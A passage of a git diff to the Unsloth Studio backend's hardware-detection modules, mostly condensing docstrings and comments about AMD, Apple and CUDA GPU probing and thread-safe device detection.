"used"/"total". Shared with the VRAM probe- so both read the same keys.- """+ """(used, total) VRAM in MB, unit-aware across amd-smi formats. Newer versions use "mem_usage" with "total_vram"/"used_vram"; older use "vram" or "fb_memory_usage" with "used"/"total". Shared with the VRAM probe so both read the same keys."""vram_data = gpu_data.get("mem_usage",gpu_data.get("vram", gpu_data.get("fb_memory_usage", {})),@@ -284,15 +234,13 @@ def _vram_used_total_mb(gpu_data: dict) -> tuple[Optional[float], Optional[floatdef _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:"""Extract standardized metrics from a single GPU's amd-smi data."""- # Output structure varies by version; try common pathsusage = gpu_data.get("usage", gpu_data.get("gpu_activity", {}))if isinstance(usage, dict):gpu_util = _parse_numeric(usage.get("gfx_activity", usage.get("gpu_use_percent")))else:gpu_util = _parse_numeric(usage)- # Temperature: try keys in priority order, checking each parses to a real- # number (dict.get() can return "N/A" strings rather than falling through).+ # Temperature: try keys in priority order, checking each parses to a real number (dict.get() can return "N/A" strings rather than falling through).temp_data = gpu_data.get("temperature", {})temp = Noneif isinstance(temp_data, dict):@@ -303,7 +251,6 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:else:temp = _parse_numeric(temp_data)- # Powerpower_data = gpu_data.get("power", {})if isinstance(power_data, dict):power_draw = _parse_numeric(@@ -319,7 +266,6 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:vram_used_mb, vram_total_mb = _vram_used_total_mb(gpu_data)- # Build the standardized dict (same shape as nvidia._build_gpu_metrics)vram_used_gb = round(vram_used_mb / 1024, 2) if vram_used_mb is not None else Nonevram_total_gb = round(vram_total_mb / 1024, 2) if vram_total_mb is not None else Nonevram_util = (@@ -346,12 +292,7 @@ def _extract_gpu_metrics(gpu_data: dict) -> dict[str, Any]:def _has_real_metrics(metrics: dict[str, Any]) -> bool:- """Return True when ``metrics`` has at least one non-None value.-- amd-smi can return a zero-exit envelope missing every field (error,- unsupported card, hipless container), yielding an all-None dict; callers must- surface that as ``available: False``.- """+ """Return True when ``metrics`` has at least one non-None value. amd-smi can return a zero-exit envelope missing every field (error, unsupported card, hipless container), yielding an all-None dict; callers must surface that as ``available: False``."""return any(value is not None for value in metrics.values())@@ -362,8 +303,7 @@ def get_physical_gpu_count() -> Optional[int]:return Noneif isinstance(data, list):return len(data)- # Some versions return a dict with a "gpu"/"gpus" key; guard with isinstance- # so a malformed scalar/string response can't raise AttributeError.+ # Some versions return a dict with a "gpu"/"gpus" key; guard with isinstance so a malformed scalar/string response can't raise AttributeError.if not isinstance(data, dict):return Nonegpus = data.get("gpu", data.get("gpus", []))@@ -373,18 +313,7 @@ def get_physical_gpu_count() -> Optional[int]:def _gpu_entries(data: Any) -> list[tuple[int, dict]]:- """(physical gpu id, gpu dict) pairs from any amd-smi envelope shape.-- A JSON array, a dict under "gpu_data"/"gpus"/"gpu", or a guarded- scalar/string fallback. The id is amd-smi's own, falling back to the- enumeration index when it is missing or unparseable.-- An envelope key only counts when its value is really a list. A single-GPU- response is a bare dict carrying its own numeric ``"gpu"`` id (the shape- ``get_primary_gpu_utilization`` also handles); reading that key as the- envelope yields the id itself, and enumerating an int raises TypeError- instead of falling back to treating the dict as the one entry.- """+ """(physical gpu id, gpu dict) pairs from any amd-smi envelope shape: a JSON array, a dict under "gpu_data"/"gpus"/"gpu", or a guarded scalar/string fallback. The id is amd-smi's own, falling back to the enumeration index when it is missing or unparseable. An envelope key only counts when its value is really a list: a single-GPU response is a bare dict carrying its own numeric ``"gpu"`` id (the shape ``get_primary_gpu_utilization`` also handles), and reading that key as the envelope yields the id itself, so enumerating an int raises TypeError instead of falling back to treating the dict as the one entry."""if isinstance(data, dict):gpu_list: Any = [data]for _key in ("gpu_data", "gpus", "gpu"):@@ -399,11 +328,9 @@ def _gpu_entries(data: Any) -> list[tuple[int, dict]]:entries: list[tuple[int, dict]] = []for fallback_idx, gpu_data in enumerate(gpu_list):- # Skip non-dict entries (a scalar in the array would raise AttributeError).if not isinstance(gpu_data, dict):continue- # Use the AMD-reported GPU ID, else the enumeration index. _parse_numeric- # handles bare ints/floats/strings and the {"value", "unit"} dict shape.+ # Use the AMD-reported GPU ID, else the enumeration index. _parse_numeric handles bare ints/floats/strings and the {"value", "unit"} dict shape.raw_id = gpu_data.get("gpu", gpu_data.get("gpu_id", gpu_data.get("id", fallback_idx)))parsed_id = _parse_numeric(raw_id)if parsed_id is None:@@ -428,15 +355,7 @@ def _gpu_entries(data: Any) -> list[tuple[int, dict]]:def get_gpu_vram_report() -> tuple[dict[int, tuple[int, int]], list[int]]:- """(``get_gpu_vram_mib()``, every amd-smi gpu id the same call enumerated).-- The ids are amd-smi's own, which are NOT HIP's (see- ``get_hip_id_by_gpu_index``). The second element is what tells a partial answer- from a complete one: a device whose VRAM does not parse (a shared pool reporting- total 0) is missing from the dict but present here, and a caller that ranks GPUs- has to see the whole set or none of it -- what is left of a dropped row is a- non-empty dict, indistinguishable from a host that really has one card.- """+ """(``get_gpu_vram_mib()``, every amd-smi gpu id the same call enumerated). The ids are amd-smi's own, which are NOT HIP's (see ``get_hip_id_by_gpu_index``). The second element is what tells a partial answer from a complete one: a device whose VRAM does not parse (a shared pool reporting total 0) is missing from the dict but present here, and a caller that ranks GPUs has to see the whole set or none of it, since what is left of a dropped row is a non-empty dict, indistinguishable from a host that really has one card."""data = _run_amd_smi("metric")if data is None:return {}, []@@ -447,43 +366,17 @@ def get_gpu_vram_report() -> tuple[dict[int, tuple[int, int]], list[int]]:used_mb, total_mb = _vram_used_total_mb(gpu_data)if used_mb is None or total_mb is None or total_mb <= 0:continue- # Clamp: a used reading above totalout[idx] = (int(max(0.0, total_mb - used_mb)), int(total_mb))return out, enumerateddef get_gpu_vram_mib() -> dict[int, tuple[int, int]]:- """{amd-smi gpu id: (free MiB, total MiB)} for every AMD GPU amd-smi sees.-- The out-of-process answer to the question ``torch.cuda.mem_get_info`` answers- in-process. That call creates a HIP primary context the process never gives- back (~700 MiB measured), which is pure loss in a backend whose GGUF models- run in a llama-server child. amd-smi reports used rather than free, so free is- derived; MiB and MB agree here because ``_parse_memory_mb`` normalises the- binary units amd-smi reports.-- Empty when amd-smi is missing, disabled, or reports no usable VRAM, so callers- keep whatever fallback they had.- """+ """{amd-smi gpu id: (free MiB, total MiB)} for every AMD GPU amd-smi sees. The out-of-process answer to the question ``torch.cuda.mem_get_info`` answers in-process: that call creates a HIP primary context the process never gives back (~700 MiB measured), which is pure loss in a backend whose GGUF models run in a llama-server child. amd-smi reports used rather than free, so free is derived; MiB and MB agree here because ``_parse_memory_mb`` normalises the binary units amd-smi reports. Empty when amd-smi is missing, disabled, or reports no usable VRAM, so callers keep whatever fallback they had."""return get_gpu_vram_report()[0]def get_hip_id_by_gpu_index() -> Optional[dict[int, int]]:- """{amd-smi gpu id: HIP device id}, or None when the mapping is not readable.-- Two index spaces, one number. amd-smi's gpu id is an enumeration index in- discovery order over its KFD/sysfs view; HIP's is what ``HIP_VISIBLE_DEVICES``- names and what torch reports as ``cuda:N``, and the library derives it from the- KFD node id instead (``hip_id = node_id - smallest_node_id``). They coincide on- most hosts and not on all of them, so the number cannot be carried from one- space to the other without this call.-- ``amd-smi list -e`` is the mapping AMD publishes for exactly this ("mapping- physical-to-logical GPU IDs"), added in ROCm 6.4.0. None when any device lacks a- usable id -- an older CLI rejects ``-e`` outright, and ``hip_id`` reads "N/A"- when the library cannot reach the device's KFD node -- so callers decline rather- than assume the identity mapping.- """+ """{amd-smi gpu id: HIP device id}, or None when the mapping is not readable. Two index spaces, one number: amd-smi's gpu id is an enumeration index in discovery order over its KFD/sysfs view, while HIP's is what ``HIP_VISIBLE_DEVICES`` names and what torch reports as ``cuda:N``, derived from the KFD node id instead (``hip_id = node_id - smallest_node_id``). They coincide on most hosts and not on all of them, so the number cannot be carried from one space to the other without this call. ``amd-smi list -e`` is the mapping AMD publishes for exactly this ("mapping physical-to-logical GPU IDs"), added in ROCm 6.4.0. None when any device lacks a usable id (an older CLI rejects ``-e`` outright, and ``hip_id`` reads "N/A" when the library cannot reach the device's KFD node) so callers decline rather than assume the identity mapping."""data = _run_amd_smi("list", "-e", count_failures = False)if data is None:return None@@ -493,20 +386,13 @@ def get_hip_id_by_gpu_index() -> Optional[dict[int, int]]:if hip_id is None or hip_id < 0 or hip_id != int(hip_id):return Nonemapping[idx] = int(hip_id)- # A collision means the ids describe something other than a 1:1 device mapping.if not mapping or len(set(mapping.values())) != len(mapping):return Nonereturn mappingdef _first_visible_amd_gpu_id() -> Optional[str]:- """Return the physical AMD GPU id treated as 'primary'.-- Honours HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES- in that order (HIP respects all three). Returns ``"0"`` when none are set,- and ``None`` when the env var narrows to zero GPUs ("" or "-1"), so callers- can short-circuit to "available: False".- """+ """Return the physical AMD GPU id treated as 'primary'. Honours HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES in that order (HIP respects all three). Returns ``"0"`` when none are set, and ``None`` when the env var narrows to zero GPUs ("" or "-1"), so callers can short-circuit to "available: False"."""for env_name in ("HIP_VISIBLE_DEVICES","ROCR_VISIBLE_DEVICES",@@ -518,8 +404,7 @@ def _first_visible_amd_gpu_id() -> Optional[str]:raw = raw.strip()if raw == "" or raw == "-1":return None- # Drop empty tokens, tolerating typos like ``",1"`` while still falling- # through to the next env var when every token is empty (``,,,``).+ # Drop empty tokens, tolerating typos like ``",1"`` while still falling through to the next env var when every token is empty (``,,,``).tokens = [t.strip() for t in raw.split(",") if t.strip()]if tokens:return tokens[0]@@ -535,7 +420,6 @@ def get_primary_gpu_utilization() -> dict[str, Any]:if data is None:return {"available": False}- # amd-smi may return a list of GPU dicts, a dict wrapping one under "gpu_data", or a single GPU dict.if isinstance(data, dict) and "gpu_data" in data:data = data["gpu_data"]if isinstance(data, list):@@ -547,8 +431,7 @@ def get_primary_gpu_utilization() -> dict[str, Any]:metrics = _extract_gpu_metrics(gpu_data)if not _has_real_metrics(metrics):- # Envelope with no usable fields: surface as unavailable so the UI- # doesn't render a ghost device.+ # Envelope with no usable fields: surface as unavailable so the UI doesn't render a ghost device.return {"available": False}metrics["available"] = Truereturn metrics@@ -586,8 +469,7 @@ def get_visible_gpu_utilization(continuemetrics = _extract_gpu_metrics(gpu_data)if not _has_real_metrics(metrics):- # Skip ghost entries (no usable fields) so the UI doesn't show an- # all-None device row.+ # Skip ghost entries (no usable fields) so the UI doesn't show an all-None device row.continuemetrics["index"] = idxmetrics["index_kind"] = "physical"diff --git a/studio/backend/utils/hardware/apple.py b/studio/backend/utils/hardware/apple.pyindex 4bcef2d808a..82c9b01b6d0 100644--- a/studio/backend/utils/hardware/apple.py+++ b/studio/backend/utils/hardware/apple.py@@ -40,9 +40,6 @@ _CF_STRING_ENCODING_UTF8 = 0x08000100_ENERGY_UNIT_DIVISORS = {"mJ": 1e3, "uJ": 1e6, "nJ": 1e9}-# ========== Pure helpers ==========--def _fourcc(key: str) -> int:"""Encode a 4-char SMC key/type name as a big-endian integer."""return int.from_bytes(key.encode("ascii"), "big")@@ -73,9 +70,6 @@ def _is_gpu_energy_channel(name: str) -> bool:return name.endswith("GPU Energy") and "SRAM" not in name-# ========== AppleSMC structs (layout must match the kernel exactly) ==========--class _SMCKeyDataVers(ctypes.Structure):_fields_ = [("major", ctypes.c_uint8),@@ -118,9 +112,6 @@ class _SMCKeyData(ctypes.Structure):]-# ========== Library loaders ==========--def _load_iokit() -> ctypes.CDLL:iokit = ctypes.CDLL(_IOKIT_PATH)iokit.IOServiceMatching.restype = ctypes.c_void_p@@ -216,9 +207,6 @@ def _from_cfstr(cf: ctypes.CDLL, ref: Optional[int]) -> str:return buf.value.decode("utf-8", errors = "replace").strip()-# ========== SMC connection (GPU temperature) ==========--class _SMCConnection:"""Connection to AppleSMCKeysEndpoint; discovers "Tg*" GPU temp keys once."""@@ -327,9 +315,6 @@ class _SMCConnection:return _average_valid_temps(value for value in readings if value is not None)-# ========== IOReport subscription (GPU power) ==========--class _IOReportEnergy:"""Persistent subscription to the "Energy Model" group for GPU wattage."""@@ -391,8 +376,6 @@ class _IOReportEnergy:return round(total, 1)-# ========== Public API (module singletons, failure-latched) ==========-_smc: Optional[_SMCConnection] = None_smc_failed = False_energy: Optional[_IOReportEnergy] = Nonediff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.pyindex 7c39e11c86d..fb4a91241f5 100644--- a/studio/backend/utils/hardware/hardware.py+++ b/studio/backend/utils/hardware/hardware.py@@ -1,20 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""-Hardware detection — run once at startup, read everywhere.--Usage:- # At FastAPI lifespan startup:- from utils.hardware import detect_hardware- detect_hardware()-- # Anywhere else:- from utils.hardware import DEVICE, DeviceType, is_apple_silicon- if DEVICE == DeviceType.CUDA:- import torch- ...-"""+"""Hardware detection: call detect_hardware() once at FastAPI lifespan startup, then read DEVICE / DeviceType / is_apple_silicon anywhere."""import astimport copy@@ -42,28 +29,14 @@ logger = get_logger(__name__)# ── GPU index ordering ──────────────────────────────────────────────────────-# CUDA defaults to CUDA_DEVICE_ORDER=FASTEST_FIRST, numbering GPUs by compute-# performance. nvidia-smi -- and every free-VRAM probe in Unsloth -- numbers GPUs-# by PCI bus id instead. On a mixed-GPU host (e.g. an RTX 5090 alongside an RTX-# PRO 6000) the two orderings disagree, so an index picked from nvidia-smi data-# ("the emptiest card is GPU 1") gets written into CUDA_VISIBLE_DEVICES and then-# reinterpreted by CUDA against FASTEST_FIRST -- landing the model on a different-# physical GPU than the one selected. Pinning PCI_BUS_ID makes torch, nvidia-smi,-# and CUDA_VISIBLE_DEVICES share a single index space, matching what users see in-# `nvidia-smi -L`. Set at import (before any torch.cuda call latches the order-# at context creation) and inherited by child processes, since the llama-server-# and spawn workers copy os.environ. setdefault so an explicit user override wins.+# CUDA numbers GPUs by FASTEST_FIRST while nvidia-smi (and every free-VRAM probe here) numbers by PCI bus id, so on a mixed-GPU host an index picked from nvidia-smi lands the model on a different physical card. Pinning PCI_BUS_ID gives torch, nvidia-smi and CUDA_VISIBLE_DEVICES one index space; set at import, before any torch.cuda call latches the order, and setdefault so a user override wins.os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")-# Unsloth workers can import MLX without importing unsloth first, so mirror the-# package bootstrap here. Keep an explicit user value authoritative.+# Unsloth workers can import MLX without importing unsloth first, so mirror the package bootstrap here. An explicit user value stays authoritative.if platform.system() == "Darwin" and platform.machine() == "arm64":os.environ.setdefault("AGX_RELAX_CDM_CTXSTORE_TIMEOUT", "1")-# ========== Device Enum ==========--class DeviceType(str, Enum):"""Supported compute backends. str subclass for clean JSON serialization."""@@ -73,43 +46,20 @@ class DeviceType(str, Enum):CPU = "cpu"-# ========== Global State (set once by detect_hardware) ==========-DEVICE: Optional[DeviceType] = NoneCHAT_ONLY: bool = True # No CUDA GPU -> GGUF chat only (Mac, CPU-only, etc.)-# Why CHAT_ONLY is True (Train/Export disabled). None when training is enabled.-# "mlx_unavailable": Apple Silicon but the MLX stack is missing, too old, or broken-# (the usual cause of "Train/Export greyed out" on Macs after a reinstall dropped MLX);-# "no_torch": Apple Silicon installed --no-torch, GGUF-only by request, so nothing is-# broken and `unsloth studio update` cannot change it. Published at once when no mlx is-# on disk; a present but unusable stack stays "mlx_unavailable" until the post-warm probe-# has measured it, so a usable one that lost the warm's import race is still overturned;-# "intel_mac": Intel Mac (no PyTorch/MLX); "no_gpu": CPU-only non-Mac host;-# "torch_cpu_build" / "torch_cuda_unavailable": the host HAS GPUs, this PyTorch cannot-# use them -- see classify_torch_build(). Those two must not read as "no_gpu": the fix-# is repairing the install, not buying a GPU.+# Why CHAT_ONLY is True; None when training is enabled. "mlx_unavailable": Apple Silicon with a missing, too old or broken MLX stack, published at once when no mlx is on disk while a present but unusable one waits for the post-warm probe, so a stack that only lost the warm's import race is still overturned; "no_torch": Apple Silicon installed --no-torch, GGUF-only by request, which `unsloth studio update` cannot change; "intel_mac"; "no_gpu": CPU-only non-Mac; "torch_cpu_build" / "torch_cuda_unavailable" (see classify_torch_build()): the host HAS GPUs this PyTorch cannot use, which must not read as "no_gpu", since the fix is repairing the install, not buying a GPU.CHAT_ONLY_REASON: Optional[str] = None-# What exactly blocked the reason above, when there is something specific to say. Only-# "mlx_unavailable" sets it today: the gate is all-or-nothing across mlx, mlx-lm and-# mlx-vlm, so "run `unsloth studio update`" was the whole message even to someone who-# had just run it. Naming the package that is missing, too old, or refusing to import-# is the difference between a dead end and a fix. Never shown on its own.+# What blocked the reason above, when there is something specific to say. Only "mlx_unavailable" sets it: the gate is all-or-nothing across mlx, mlx-lm and mlx-vlm, so naming the offending package is the difference between a dead end and a fix. Never shown on its own.CHAT_ONLY_DETAIL: Optional[str] = None-# The vendors whose cards established the two mismatch reasons above, empty otherwise.-# current_chat_only_verdict() freezes a mismatch while the inventory cannot answer; without-# this it freezes on uncertainty about an unrelated vendor, so a detached AMD eGPU stays-# "unusable" for as long as nvidia-smi is broken on a host that never had an NVIDIA card.+# The vendors whose cards established the two mismatch reasons, empty otherwise: current_chat_only_verdict() freezes a mismatch while the inventory cannot answer, and without this a detached AMD eGPU stays "unusable" for as long as nvidia-smi is broken on a host that never had an NVIDIA card.CHAT_ONLY_MISMATCH_VENDORS: frozenset = frozenset()IS_ROCM: bool = False # True when running on AMD ROCm (HIP) -- routes GPU monitoring to amd.py-# Detection has concurrent callers (the warm thread plus any early get_device()).-# Unlocked, two runs interleave on the globals above and a reader between the reset and-# the CUDA branch sees "chat only" on a GPU host. Re-entrant: get_device() nests.+# Detection has concurrent callers (the warm thread plus any early get_device()); unlocked, a reader between the reset and the CUDA branch sees "chat only" on a GPU host. Re-entrant, because get_device() nests._DETECT_LOCK = threading.RLock()-# Bumped by shutdown so a detection still inside the torch import cannot publish over-# the reset, leaving the next lifespan a non-None DEVICE that makes it skip detection.-# An epoch, not _DETECT_LOCK: taking that lock would park teardown behind the import.+# Bumped by shutdown so a detection still inside the torch import cannot publish over the reset and leave the next lifespan a non-None DEVICE. An epoch, not _DETECT_LOCK, which would park teardown behind the import._EPOCH_LOCK = threading.Lock()DETECTION_EPOCH = 0@@ -127,17 +77,13 @@ def current_detection_epoch() -> int:return DETECTION_EPOCH-# The epoch nested detections on this thread belong to. get_device() takes no epoch and-# the warm builds the orchestrator, whose constructor reaches it; without this a shutdown-# mid-stage lets the nested pass republish DEVICE over the teardown, so the next lifespan-# skips detection. Thread-local, so only the warm's own call stack is bound.+# The epoch nested detections on this thread belong to: get_device() takes no epoch, so without this a shutdown mid-stage lets a nested pass republish DEVICE over the teardown. Thread-local, so only the warm's own call stack is bound._OWNING_EPOCH = threading.local()@contextmanagerdef owning_detection_epoch(epoch: Optional[int]):- """Bind epoch-less detections on this thread to ``epoch`` for the block. Nested, not- assigned: restoring the previous value keeps concurrent scopes on other threads apart."""+ """Bind epoch-less detections on this thread to ``epoch`` for the block. Nested, not assigned: restoring the previous value keeps concurrent scopes on other threads apart."""previous = getattr(_OWNING_EPOCH, "value", None)_OWNING_EPOCH.value = epochtry:@@ -159,11 +105,9 @@ def _discard_detection_locked() -> None:DETECTION_COMPLETE.clear()-# Set once detection has a settled answer, including its CPU/chat-only fallback. Poll-# this, not DEVICE: DEVICE is assigned mid-detection and can be revised.+# Set once detection has a settled answer, including its CPU/chat-only fallback. Poll this, not DEVICE, which is assigned mid-detection and can be revised.DETECTION_COMPLETE = threading.Event()-# Bumped every time detection settles. Detection is not once-per-process (the MLX-# self-heal re-detects and flips CHAT_ONLY), so snapshot holders can spot staleness.+# Bumped every time detection settles. Detection is not once-per-process (the MLX self-heal re-detects and flips CHAT_ONLY), so snapshot holders can spot staleness.DETECTION_GENERATION = 0# Drives start_background_detection(). Separate from _DETECT_LOCK: never held across the import.@@ -172,18 +116,7 @@ _DETECT_THREAD: Optional[threading.Thread] = Nonedef start_background_detection() -> None:- """Run detection on a daemon thread if nothing is running it yet.-- For callers on a deadline that cannot await ensure_hardware_detected(), such as- /api/health under the launcher's 2s timeout. They poll DEVICE against their own budget;- this guarantees someone is filling it in even when the warm is past its hardware stage- or a shutdown cleared the verdict. Callers skip it under- UNSLOTH_STUDIO_DISABLE_TORCH_WARM=1, which means no background import at all.-- At most one thread, and none once DEVICE is set, so a route polling "still detecting"- cannot pile them up. Not the asyncio executor: a to_thread outliving its awaiter holds- a slot, and a polled endpoint would exhaust the pool during a slow import.- """+ """Run detection on a daemon thread if nothing is running it yet, for callers on a deadline that cannot await ensure_hardware_detected() (e.g. /api/health under the launcher's 2s timeout). At most one thread, and none once DEVICE is set, so a polling route cannot pile them up. Not the asyncio executor: a to_thread outliving its awaiter holds a slot and a polled endpoint would exhaust the pool during a slow import."""global _DETECT_THREADif DEVICE is not None:return@@ -192,8 +125,7 @@ def start_background_detection() -> None:returnif _DETECT_THREAD is not None and _DETECT_THREAD.is_alive():return- # Epoch read before start(): the thread can be scheduled after a shutdown- # retires this epoch, and it must lose to that, not adopt it.+ # Epoch read before start(): the thread can be scheduled after a shutdown retires this epoch, and it must lose to that rather than adopt it._DETECT_THREAD = threading.Thread(target = ensure_hardware_detected,args = (current_detection_epoch(),),@@ -204,52 +136,35 @@ def start_background_detection() -> None:def _backend_label(device: DeviceType) -> str:- """Return the user-facing backend name for API responses.-- ROCm hosts stay ``DeviceType.CUDA`` internally (ROCm reuses ``torch.cuda.*``),- but "cuda" is misleading in JSON, so swap to ``"rocm"`` when ``IS_ROCM`` is set.- """+ """The user-facing backend name. ROCm hosts stay DeviceType.CUDA internally (ROCm reuses torch.cuda.*), but "cuda" is misleading in JSON, so swap to "rocm" when IS_ROCM is set."""if IS_ROCM and device == DeviceType.CUDA:return "rocm"return device.value-# ========== Detection ==========--def is_apple_silicon() -> bool:"""True on Apple Silicon (pure platform check, no ML imports)."""return platform.system() == "Darwin" and platform.machine() == "arm64"-# Set by _has_torch() when torch is installed but its import blew up (unresolved CUDA-# libs). The CPU fallback reports that as a detection failure, not as "no GPU".+# Set by _has_torch() when torch is installed but its import blew up (unresolved CUDA libs); the CPU fallback reports that as a detection failure, not as "no GPU".TORCH_IMPORT_ERROR: Optional[str] = Nonedef _has_torch() -> bool:- """True if PyTorch is importable.-- Any failure counts as "no torch", not just ImportError: ensure_hardware_detected()- re-runs while DEVICE is None, so an escaping OSError would make every request retry the- import. Take the CPU path, but record the error, or the host is told to install the- torch it already has.- """+ """True if PyTorch is importable. Any failure counts as "no torch": ensure_hardware_detected() re-runs while DEVICE is None, so an escaping OSError would make every request retry the import. The error is recorded, or the host is told to install the torch it already has."""global TORCH_IMPORT_ERRORtry:import torchTORCH_IMPORT_ERROR = Nonereturn Trueexcept Exception as exc:- # ImportError does NOT mean "not installed": a wheel with unresolved native libs- # raises it from torch's own __init__ (OSError on Windows). Only ModuleNotFoundError- # naming torch itself is absent; a failed submodule is a broken install. Both purge.+ # ImportError does NOT mean "not installed": a wheel with unresolved native libs raises it from torch's own __init__. Only ModuleNotFoundError naming torch itself is absent; a failed submodule is a broken install.absent = isinstance(exc, ModuleNotFoundError) and exc.name == "torch"TORCH_IMPORT_ERROR = None if absent else repr(exc)if TORCH_IMPORT_ERROR is not None:logger.error("torch is installed but failed to import: %r", exc)- # A part-way failure leaves submodules cached under an evicted parent, so the next- # importer gets a torch missing pieces. purge_partial_import() clears that.+ # A part-way failure leaves submodules cached under an evicted parent, so the next importer gets a torch missing pieces; purge_partial_import() clears that.try:from utils.torch_warmup import purge_partial_importexcept Exception:@@ -261,11 +176,7 @@ def _has_torch() -> bool:def _torch_mps_available() -> bool:- """True when torch exposes a usable Metal (MPS) device.-- Apple Silicon alone is not enough: a torch built without MPS, or one that fails to import,- leaves the pipelines nowhere to run. Never raises; a failed probe reads as no MPS.- """+ """True when torch exposes a usable Metal (MPS) device. Apple Silicon alone is not enough: a torch built without MPS leaves the pipelines nowhere to run. Never raises; a failed probe reads as no MPS."""if not _has_torch():return Falsetry:@@ -285,11 +196,7 @@ def _has_mlx() -> bool:return False-# What the last gate call measured, so the CPU fallback can name a blocker without-# running the mlx imports a second time. This module already treats those imports as-# able to park indefinitely on a broken stack, and that is exactly the host that needs-# the detail, so a second run there can double detection latency or keep the pass from-# reaching the repair scheduler. Written and consumed inside one locked detection pass.+# What the last gate call measured, so the CPU fallback can name a blocker without re-running the mlx imports: on a broken stack those can park indefinitely, which is exactly the host that needs the detail. Written and consumed inside one locked detection pass._MLX_BLOCKERS_MEASURED: Optional[list[str]] = None# The lifespan whose post-warm probe measured a --no-torch host's stack unusable: a later# detection pass in that lifespan publishes no_torch directly rather than re-arming the@@ -299,26 +206,14 @@ _NO_TORCH_SETTLED_EPOCH: Optional[int] = Nonedef _has_usable_mlx_stack() -> bool:- """True only when the FULL Unsloth MLX training/export stack is usable- (mlx + mlx-lm + mlx-vlm at the minimum versions unsloth-zoo requires), not- just a bare ``import mlx.core``. A backtracked/old mlx-vlm still imports but- breaks VLM Train/Export, so the training gate must match the self-heal's own- criterion (utils.mlx_repair) -- otherwise detect_hardware would enable- Train/Export on exactly the inadequate stack the MLX self-heal is trying to- repair, leaving the user with greyed-in-but-broken buttons.-- Asked as "no blockers" rather than through mlx_stack_available(), which is the- same question: both run the version checks before the imports, in the same order,- and stop at the first failure. Reading the list is what lets the answer be- explained without measuring it again."""+ """True only when the FULL MLX training/export stack is usable (mlx + mlx-lm + mlx-vlm at the versions unsloth-zoo requires), not just `import mlx.core`: a backtracked mlx-vlm still imports but breaks VLM Train/Export, so this must match the self-heal's own criterion (utils.mlx_repair) or Train is enabled on exactly the stack being repaired. Asked as "no blockers" rather than via mlx_stack_available(), which is the same question, so the answer can be explained without measuring it again."""global _MLX_BLOCKERS_MEASURED_MLX_BLOCKERS_MEASURED = Nonetry:from utils.mlx_repair import mlx_stack_blockersblockers = mlx_stack_blockers()except Exception as exc:- # mlx_repair should always import; if it somehow cannot, fall back to the- # bare import check rather than forcing a working host into chat-only.+ # mlx_repair should always import; if it cannot, fall back to the bare import check rather than forcing a working host into chat-only.logger.debug("MLX stack availability check failed, using bare import: %s", exc)return _has_mlx()_MLX_BLOCKERS_MEASURED = blockers@@ -326,19 +221,10 @@ def _has_usable_mlx_stack() -> bool:def _mlx_stack_detail() -> Optional[str]:- """One line naming what the MLX gate is unhappy about, or None if it cannot tell.-- Never raises and never re-runs the gate's own verdict: this only describes a- verdict already reached, so a failure here costs a sentence, not Train.-- Takes what the gate measured when there is any. Measuring again is the fallback- for a caller that reached here without one, e.g. a test driving this alone.- """+ """One line naming what the MLX gate is unhappy about, or None. Never raises and never re-runs the gate's verdict: this only describes one already reached, so a failure costs a sentence, not Train. Measuring again is the fallback for a caller that arrived without a measurement."""global _MLX_BLOCKERS_MEASUREDblockers = _MLX_BLOCKERS_MEASURED- # Consumed, not kept: a list left behind by an earlier pass describes a stack that- # has since been re-measured, and the whole point of the detail is that it belongs- # to the verdict beside it.+ # Consumed, not kept: a list left by an earlier pass describes a stack since re-measured, and the detail must belong to the verdict beside it._MLX_BLOCKERS_MEASURED = Noneif blockers is None:try:@@ -348,16 +234,12 @@ def _mlx_stack_detail() -> Optional[str]:logger.debug("MLX blocker detail unavailable: %s", exc)return Noneif not blockers:- # The gate said no and the detail says yes, which means the stack changed- # under us. Saying nothing beats naming a blocker that is no longer there.+ # The gate said no and the detail says yes, so the stack changed under us. Saying nothing beats naming a blocker that is no longer there.return Nonereturn "; ".join(blockers[:3])-# Every other GPU probe here starts from get_device(), so all go quiet the moment-# torch.cuda.is_available() is False (issue #8473). This one asks what the OS sees.-# Display-only: nothing here may be merged into the runtime device lists, which feed the-# model-fit estimate and the training device pin. TTL cache, since an eGPU changes it.+# Every other GPU probe starts from get_device() and so goes quiet once torch.cuda.is_available() is False (#8473); this one asks what the OS sees. Display-only: nothing here may reach the runtime device lists that feed model fit and the training pin. TTL cached, since an eGPU changes it._PHYSICAL_GPU_INVENTORY_TTL_SECONDS = 60.0_physical_gpu_inventory_lock = threading.Lock()_physical_gpu_inventory_refresh_lock = threading.Lock()@@ -365,8 +247,7 @@ _physical_gpu_inventory_refreshing = False# One re-detection request per recovery, or a poll every few seconds starves detection._REDETECTION_REQUESTED = False_physical_gpu_inventory_cache: Optional[tuple[float, Dict[str, Any]]] = None-# Same treatment for the torch side: classify_torch_build() calls availability probes that-# block on a wedged driver, and /api/health and /api/liveness reach it through the verdict.+# Same treatment for the torch side: classify_torch_build() calls availability probes that block on a wedged driver, and /api/health and /api/liveness reach it through the verdict._TORCH_BUILD_SNAPSHOT_TTL_SECONDS = 60.0_torch_build_snapshot_lock = threading.Lock()_torch_build_snapshot_refresh_lock = threading.Lock()@@ -381,16 +262,10 @@ _UNKNOWN_TORCH_BUILD_SNAPSHOT: Dict[str, Any] = {def _probe_physical_gpu_inventory() -> Dict[str, Any]:- """One uncached pass over the vendor probes. Never raises.-- ``index`` is the probe's own row number and is vendor-local, so it identifies a- device only together with ``vendor``. It is not a pin: see the note above.- """+ """One uncached pass over the vendor probes. Never raises. ``index`` is the probe's own row number and is vendor-local, so it identifies a device only together with ``vendor``. It is not a pin."""devices: list[Dict[str, Any]] = []sources: list[str] = []- # "No devices" and "no probe could answer" are different facts: collapsing them let a- # transient nvidia-smi timeout read as "the GPU disappeared". PER VENDOR, so an Intel- # sysfs row cannot answer for an NVIDIA probe that timed out.+ # "No devices" and "no probe could answer" are different facts: collapsing them let a transient nvidia-smi timeout read as "the GPU disappeared". PER VENDOR, so an Intel sysfs row 